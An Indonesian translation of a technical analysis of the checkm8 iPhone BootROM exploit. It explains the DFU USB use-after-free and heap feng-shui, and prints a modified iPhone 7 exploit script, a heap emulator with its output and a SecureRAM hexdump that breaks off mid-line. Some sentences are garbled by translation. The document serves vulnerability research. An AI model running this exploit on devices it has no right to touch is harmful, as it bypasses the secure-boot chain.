Analisis teknis eksploitasi checkm8


Dengan probabilitas tinggi Anda telah mendengar tentang exploit checkm8 sensasional, yang menggunakan kerentanan yang tidak dapat dipulihkan di BootROM sebagian besar iDevices, termasuk iPhone X Pada artikel ini, kami akan memberikan analisis teknis tentang eksploitasi dan melihat penyebab kerentanan. Siapa pun yang tertarik - selamat datang di bawah luka!


Anda dapat membaca artikel versi bahasa Inggris di sini .


Pendahuluan


Pertama, kami akan menjelaskan secara singkat proses boot iDevice dan mencari tahu di mana BootROM berada di dalamnya (bisa juga disebut SecureROM ) dan mengapa diperlukan. Informasi terperinci tentang ini ada di sini . Proses boot yang disederhanakan dapat direpresentasikan sebagai berikut:



BootROM adalah hal pertama yang dijalankan prosesor saat perangkat dihidupkan. Tugas utama BootROM :


  • Inisialisasi platform (mengatur register platform yang diperlukan, menginisialisasi CPU , dll.)
  • Verifikasi dan transfer kontrol ke tahap pemuatan berikutnya
    • BootROM mendukung parsing gambar IMG3/IMG4
    • BootROM memiliki akses ke kunci GID untuk mendekripsi gambar
    • Untuk memeriksa gambar, kunci publik Apple dibuat di dalam BootROM , dan ada fungsi yang diperlukan untuk bekerja dengan kriptografi
  • Memulihkan perangkat jika tidak memungkinkan untuk mengunduh lebih lanjut ( Device Firmware Update , DFU )

BootROM sangat kecil, dan itu dapat disebut versi iBoot , karena mereka berbagi sebagian besar sistem dan kode pustaka. Namun, tidak seperti iBoot , BootROM tidak dapat diperbarui. Ini ditempatkan di memori hanya baca internal saat membuat perangkat. BootROM adalah akar perangkat keras dari rantai kepercayaan boot. Kerentanan di dalamnya dapat memungkinkan mendapatkan kontrol atas proses pengunduhan lebih lanjut dan mengeksekusi kode yang tidak ditandatangani pada perangkat.



Munculnya checkm8


checkm8 ditambahkan ke utilitas ipwndfu oleh penulisnya axi0mX pada 27 September 2019. Kemudian ia mengumumkan pembaruan di akun Twitter-nya, disertai dengan deskripsi eksploit dan informasi tambahan. Anda dapat mengetahui dari utas bahwa kerentanan use-after-free dalam kode USB ditemukan oleh penulis selama proses patch-diffing iBoot untuk iOS 12 beta pada musim panas 2018. Seperti disebutkan sebelumnya, BootROM dan iBoot memiliki banyak kode umum, termasuk kode untuk USB , itulah sebabnya kerentanan ini juga relevan untuk BootROM .


Ini juga mengikuti dari kode exploit yang kerentanannya dieksploitasi di DFU . Ini adalah mode di mana gambar yang ditandatangani dapat ditransfer ke perangkat melalui USB , yang selanjutnya akan diunduh. Ini mungkin diperlukan, misalnya, untuk memulihkan perangkat jika pembaruan tidak berhasil.


Pada hari yang sama, littlelailo melaporkan bahwa ia telah menemukan kerentanan ini pada bulan Maret dan menerbitkan deskripsinya dalam file apollo.txt . Deskripsi tersebut sesuai dengan apa yang terjadi pada kode checkm8 , tetapi tidak sepenuhnya menjelaskan detail dari exploit. Oleh karena itu, kami memutuskan untuk menulis artikel ini dan menjelaskan semua detail operasi hingga pelaksanaan payload di BootROM inklusif.


Kami melakukan analisis eksploitasi berdasarkan materi yang disebutkan sebelumnya, serta pada kode sumber iBoot/SecureROM bocor pada Februari 2018. Kami juga menggunakan data yang diperoleh secara eksperimental pada perangkat pengujian kami - iPhone 7 ( CPID:8010 ). Menggunakan checkm8 kami menghapus dump SecureRAM dan SecureRAM dari itu, yang membantu kami dengan analisis.


Pengetahuan USB esensial


Kerentanan yang terdeteksi ada dalam kode USB , sehingga diperlukan pengetahuan tentang antarmuka ini. Anda dapat membaca spesifikasi lengkapnya di sini , tetapi cukup produktif. Bahan yang sangat baik, yang lebih dari cukup untuk pemahaman lebih lanjut, adalah USB dalam NutShell . Di sini kami hanya memberikan yang paling diperlukan.


Ada berbagai jenis transfer data USB . DFU hanya menggunakan DFU Control Transfers (Anda dapat membacanya di sini ). Setiap transaksi dalam mode ini terdiri dari tiga tahap:



  • Setup Stage - pada tahap ini paket SETUP dikirim, yang terdiri dari bidang-bidang berikut:
    • bmRequestType - menjelaskan arah, jenis, dan penerima permintaan
    • bRequest - menentukan permintaan yang diajukan
    • wValue , wIndex - tergantung pada permintaan, mereka dapat diartikan berbeda
    • wLength Panjang - panjang data yang diterima / dikirim dalam Data Stage
  • Data Stage - tahap opsional saat transfer data berlangsung. Bergantung pada paket SETUP dari tahap sebelumnya, ini mungkin mengirim data dari host ke perangkat ( OUT ) atau sebaliknya ( IN ). Data dikirim dalam porsi kecil (untuk Apple DFU , 0x40 byte).
    • Ketika tuan rumah ingin mentransfer kumpulan data berikutnya, ia mengirimkan token, setelah itu data itu sendiri dikirim.
    • Ketika tuan rumah siap untuk menerima data dari perangkat, ia mengirimkan token, sebagai tanggapan terhadap mana perangkat mengirim data.
  • Status Stage - tahap akhir di mana status seluruh transaksi dilaporkan.
    • Untuk permintaan OUT , tuan rumah mengirim token IN , sebagai tanggapan terhadap mana perangkat harus mengirim paket data dengan panjang nol.
    • Untuk permintaan IN , host mengirim token OUT dan paket data nol panjang.

Kueri OUT dan IN ditunjukkan pada diagram di bawah ini. Kami sengaja menghapus ACK , NACK dan paket jabat tangan lainnya dari skema deskripsi dan interaksi, karena mereka tidak memainkan peran khusus dalam eksploitasi itu sendiri.



Analisis apollo.txt


Kami memulai analisis dengan memilah kerentanan dari dokumen apollo.txt . Ini menjelaskan algoritma mode DFU :


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. Ketika usb mulai mendapatkan gambar lebih dari dfu, dfu mendaftarkan antarmuka untuk menangani semua perintah dan mengalokasikan buffer untuk input dan output
  2. jika Anda mengirim data ke dfu paket setup ditangani oleh kode utama yang kemudian memanggil kode antarmuka
  3. kode antarmuka memverifikasi bahwa wLength lebih pendek dari panjang buffer output input dan jika itu terjadi, pembaruan pointer dilewatkan sebagai argumen dengan pointer ke buffer output input
  4. lalu mengembalikan wLength yang merupakan panjang yang ingin diterima ke buffer
  5. kode utama usb kemudian memperbarui var global dengan panjang dan bersiap-siap untuk menerima paket data
  6. jika paket data diterima itu akan ditulis ke buffer output input melalui pointer yang disahkan sebagai argumen dan variabel global lainnya digunakan untuk melacak berapa banyak byte yang telah diterima
  7. jika semua data diterima, kode khusus dfu dipanggil lagi dan kemudian melanjutkan untuk menyalin isi buffer output input ke lokasi memori dari mana gambar tersebut kemudian di-boot
  8. setelah itu kode usb me-reset semua variabel dan melanjutkan untuk menangani paket-paket baru
  9. jika dfu keluar dari buffer output input dibebaskan dan jika parsing gambar gagal bootrom masukkan kembali dfu

Pertama, kami membandingkan langkah-langkah yang dijelaskan dengan kode sumber iBoot . Karena kita tidak dapat menggunakan fragmen kode sumber yang bocor dalam artikel, kami akan menunjukkan pseudocode yang diperoleh oleh SecureROM reverse engineering dari iPhone 7 di IDA . Anda dapat dengan mudah menemukan kode sumber iBoot dan menavigasi itu.


Ketika mode DFU diinisialisasi, buffer IO dialokasikan dan antarmuka USB terdaftar untuk memproses permintaan ke DFU :



Ketika paket permintaan SETUP tiba di DFU , penangan antarmuka yang sesuai dipanggil. Dalam hal eksekusi yang berhasil dari permintaan OUT (misalnya, ketika mentransfer gambar), pawang harus mengembalikan alamat buffer IO untuk transaksi dan ukuran data yang diharapkan akan diterima oleh pointer. Dalam hal ini, alamat penyangga dan ukuran data yang diharapkan disimpan dalam variabel global.



Handler antarmuka untuk DFU ditunjukkan pada gambar di bawah. Jika permintaan benar, maka alamat buffer IO dialokasikan pada tahap inisialisasi DFU dan panjang data yang diharapkan, yang diambil dari paket SETUP , dikembalikan oleh penunjuk.



Selama Data Stage setiap bagian data ditulis ke buffer IO , setelah itu alamat buffer IO digeser dan penghitung data yang diterima diperbarui. Setelah menerima semua data yang diharapkan, penangan data antarmuka dipanggil dan keadaan transmisi global dihapus.



Di penangan data DFU data yang diterima dipindahkan ke area memori tempat pengunduhan akan dilanjutkan. Dilihat oleh kode sumber iBoot , area memori ini di Apple disebut INSECURE_MEMORY .



Saat keluar DFU mode DFU , buffer IO dialokasikan sebelumnya akan dibebaskan. Jika gambar berhasil diterima dalam mode DFU , itu akan diperiksa dan dimuat. Jika, selama pengoperasian mode DFU , beberapa kesalahan terjadi atau tidak mungkin memuat gambar yang dihasilkan, DFU akan DFU ulang dan semuanya akan mulai dari awal lagi.


Dalam algoritma yang dijelaskan, terletak kerentanan use-after-free . Jika saat boot, kirim paket SETUP dan selesaikan transaksi dengan melewatkan Data Stage , keadaan global akan tetap diinisialisasi setelah memasukkan kembali siklus DFU , dan kami akan dapat menulis ke alamat buffer IO dialokasikan dalam iterasi DFU sebelumnya.


Setelah berurusan dengan kerentanan use-after-free , kami bertanya-tanya: bagaimana saya bisa menimpa sesuatu selama iterasi DFU berikutnya? Lagi pula, sebelum menginisialisasi ulang DFU semua sumber daya yang dialokasikan sebelumnya dibebaskan, dan lokasi memori dalam iterasi baru harus persis sama. Ternyata ada kesalahan kebocoran memori yang menarik dan cukup indah yang memungkinkan mengeksploitasi kerentanan use-after-free , yang akan kita bahas nanti.


Analisis Checkm8


Kami melanjutkan langsung ke analisis exploit checkm8 . Untuk mempermudah, kami akan menganalisis versi eksploit yang dimodifikasi untuk iPhone 7 , di mana kode yang terkait dengan platform lain telah dihapus, urutan dan jenis permintaan USB telah diubah tanpa kehilangan eksploit. Juga dalam versi ini proses membangun payload dihapus, dapat ditemukan dalam file checkm8.py asli. Memahami perbedaan antara versi untuk perangkat lain seharusnya tidak sulit.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

Pekerjaan checkm8 dapat dibagi menjadi beberapa tahap:


  1. Persiapan heap feng-shui ( heap feng-shui )
  2. Alokasi dan pelepasan buffer IO tanpa membersihkan negara global
  3. Timpa usb_device_io_request di heap dengan use-after-free
  4. Penempatan Muatan
  5. Eksekusi callback-chain
  6. Eksekusi shellcode

Pertimbangkan masing-masing tahapan secara terperinci.


1. Persiapan tumpukan (heap feng-shui)


Tampaknya bagi kami bahwa ini adalah tahap yang paling menarik, dan kami memberikan perhatian khusus padanya.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

Langkah ini diperlukan untuk mencapai kondisi tumpukan yang nyaman untuk operasi use-after-free . Untuk memulai, pertimbangkan stall panggilan, leak , no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer adalah pembungkus device.ctrlTransfer dengan mengabaikan pengecualian yang terjadi saat menjalankan permintaan. libusb1_async_ctrl_transfer - pembungkus atas fungsi libusb_submit_transfer dari libusb untuk eksekusi query yang tidak sinkron.


Kedua panggilan menerima parameter berikut:


  • Contoh perangkat
  • Data untuk paket SETUP (uraiannya ada di sini ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • Ukuran Data ( wLength ) atau Data untuk Data Stage
  • Permintaan Batas Waktu

Argumen bmRequestType , bRequest , wValue dan wIndex adalah umum untuk ketiga jenis kueri. Artinya:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - arah Data Stage dari perangkat ke host (Device to Host)
    • 0bX00XXXXX - tipe permintaan standar
    • 0bXXX00000 - penerima permintaan - perangkat
  • bRequest = 6 - permintaan deskriptor ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - menentukan tipe deskriptor yang akan diterima - string ( USB_DT_STRING )
    • wValueLow = 0x4 adalah indeks deskriptor string, 4 sesuai dengan nomor seri perangkat (dalam hal ini, string terlihat seperti CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - pengidentifikasi bahasa string, nilainya tidak penting untuk operasi dan dapat diubah.

Untuk salah satu dari tiga permintaan ini, 0x30 byte dialokasikan pada heap untuk objek dari struktur berikut:



Bidang yang paling menarik dari objek ini adalah callback dan next .


  • callback - pointer ke fungsi yang akan dipanggil ketika permintaan selesai.
  • next - pointer ke objek berikutnya dengan tipe yang sama, diperlukan untuk mengantri permintaan.

Fitur utama dari stall panggilan adalah menggunakan eksekusi permintaan yang tidak sinkron dengan batas waktu minimum. Karena ini, jika Anda beruntung, permintaan akan dibatalkan di tingkat OS dan akan tetap dalam antrian eksekusi, dan transaksi tidak akan selesai. Pada saat yang sama, perangkat akan terus menerima semua paket SETUP masuk dan, jika perlu, menempatkannya dalam antrian eksekusi. Kemudian, dengan menggunakan eksperimen dengan USB di Arduino kami dapat mengetahui bahwa agar operasi berhasil, tuan rumah harus mengirim paket SETUP dan token IN , setelah itu transaksi harus dibatalkan dengan batas waktu. Secara skematis, transaksi yang tidak lengkap tersebut dapat direpresentasikan sebagai berikut:



Sisa permintaan hanya berbeda panjang dan hanya satu. Faktanya adalah bahwa untuk permintaan standar ada callback standar yang terlihat seperti ini:



Nilai io_length sama dengan minimum wLength dalam paket SETUP dari permintaan dan panjang asli dari deskriptor yang diminta. Karena fakta bahwa deskriptor cukup panjang, kita dapat dengan tepat mengontrol nilai io_length dalam panjangnya. Nilai g_setup_request.wLength sama dengan nilai wLength paket SETUP terakhir, dalam hal ini, 0xC1 .


Dengan demikian, pada penyelesaian kueri yang dihasilkan menggunakan stall dan leak panggilan, kondisi dalam fungsi callback akhir terpenuhi, dan usb_core_send_zlp() dipanggil. Panggilan ini hanya membuat zero-length-packet dan menambahkannya ke antrian eksekusi. Ini diperlukan agar transaksi dapat diselesaikan dengan benar di Status Stage .


Permintaan diakhiri dengan panggilan ke fungsi usb_core_complete_endpoint_io , yang pertama kali memanggil panggilan callback dan kemudian membebaskan memori permintaan. Pada saat yang sama, penyelesaian permintaan dapat terjadi tidak hanya ketika seluruh transaksi benar-benar selesai, tetapi juga ketika USB diatur ulang. Segera setelah sinyal reset USB diterima, antrian permintaan akan dilewati dan masing-masing akan selesai.


Karena panggilan selektif ke usb_core_send_zlp() , melewati antrian permintaan dan kemudian melepaskannya, Anda dapat mencapai kontrol tumpukan yang cukup untuk operasi use-after-free . Pertama, mari kita lihat siklus rilis itu sendiri:



Antrian permintaan dihapus terlebih dahulu, kemudian permintaan yang dibatalkan usb_core_complete_endpoint_io , dan mereka selesai dengan memanggil usb_core_complete_endpoint_io . Pada saat yang sama, permintaan yang dipilih menggunakan usb_core_send_zlp ditempatkan di ep->io_head . Setelah prosedur reset USB selesai, semua informasi tentang titik akhir akan diatur ulang, termasuk io_head dan io_tail , dan permintaan panjang nol akan tetap ada di heap. Jadi, Anda bisa membuat bongkahan kecil di tengah sisa tumpukan. Diagram di bawah ini menunjukkan bagaimana ini terjadi:



Tumpukan di SecureROM dirancang sedemikian rupa sehingga area memori baru dialokasikan dari potongan bebas yang sesuai dengan ukuran terkecil. Dengan membuat potongan bebas kecil dengan metode yang dijelaskan di atas, Anda dapat memengaruhi alokasi memori selama inisialisasi USB dan alokasi io_buffer dan permintaan.


Untuk pemahaman yang lebih baik, mari kita mencari tahu tumpukan yang terjadi selama inisialisasi DFU . Dalam proses menganalisis kode sumber iBoot dan rekayasa balik iBoot SecureROM kami berhasil mendapatkan urutan berikut:


    1. Alokasi berbagai deskriptor string
      • 1.1. Nonce (ukuran 234 )
      • 1.2. Manufacturer ( 22 )
      • 1.3. Product ( 62 )
      • 1.4. Serial Number ( 198 )
      • 1.5. Configuration string ( 62 )

    1. Alokasi terkait dengan pembuatan tugas USB
      • 2.1. Struktur 0x3c0 ( 0x3c0 )
      • 2.2. Stack Task ( 0x1000 )

    1. io_buffer ( 0x800 )

    1. Deskriptor konfigurasi
      • 4.1. High-Speed ( 25 )
      • 4.2. Full-Speed ( 25 )


Lalu ada alokasi struktur permintaan. Jika ada bongkahan kecil di tengah ruang heap, beberapa alokasi dari kategori pertama akan masuk ke bongkahan ini, dan semua alokasi lainnya akan dipindahkan, yang dengannya kita dapat melimpahkan usb_device_io_request , merujuk pada buffer lama. Secara skematis, ini dapat direpresentasikan sebagai berikut:



Untuk menghitung bias yang diperlukan, kami memutuskan untuk hanya meniru alokasi yang tercantum di atas, sedikit mengadaptasi kode sumber tumpukan iBoot .


Emulasi tumpukan DFU
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); //        SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

Output program dengan 8 permintaan pada tahap heap feng-shui :


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

usb_device_io_request berikutnya akan berada pada offset 0x5c0 dari awal buffer sebelumnya, yang sesuai dengan kode exploit:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

, SecureRAM , checkm8 . , . , usb_device_io_request , .


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): #    this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

. , .


SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 